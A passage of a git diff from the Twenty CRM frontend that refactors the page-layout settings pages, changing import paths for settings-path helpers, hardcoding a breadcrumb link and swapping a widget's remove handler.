return [...pageLayoutDraft.tabs] @@ -277,7 +290,7 @@ export const SettingsPageLayoutEdit = () => { }, { children: t`Page Layouts`, - href: getSettingsPath(SettingsPath.PageLayout), + href: '/settings/page-layout', }, { children: ( @@ -321,7 +334,7 @@ export const SettingsPageLayoutEdit = () => { )} @@ -381,10 +394,10 @@ export const SettingsPageLayoutEdit = () => {
deletePageLayoutWidget(widget.id)} + onRemove={() => handleRemoveWidget(widget.id)} onEdit={() => handleEditWidget(widget.id)} > - + {renderWidget(widget)}
)) @@ -393,9 +406,9 @@ export const SettingsPageLayoutEdit = () => { {pageLayoutCurrentBreakpoint !== 'mobile' && ( )} diff --git a/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayouts.tsx b/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayouts.tsx index 2b4e69f7c3..a5d3564953 100644 --- a/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayouts.tsx +++ b/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayouts.tsx @@ -1,5 +1,6 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { savedPageLayoutsState } from '@/settings/page-layout/states/savedPageLayoutsState'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { Table } from '@/ui/layout/table/components/Table'; import { TableCell } from '@/ui/layout/table/components/TableCell'; @@ -9,8 +10,6 @@ import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; import { useRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconChevronRight, @@ -21,6 +20,7 @@ import { import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledTableRow = styled(TableRow)` grid-template-columns: 1fr 180px 80px 80px 36px 36px; @@ -59,7 +59,7 @@ export const SettingsPageLayouts = () => { +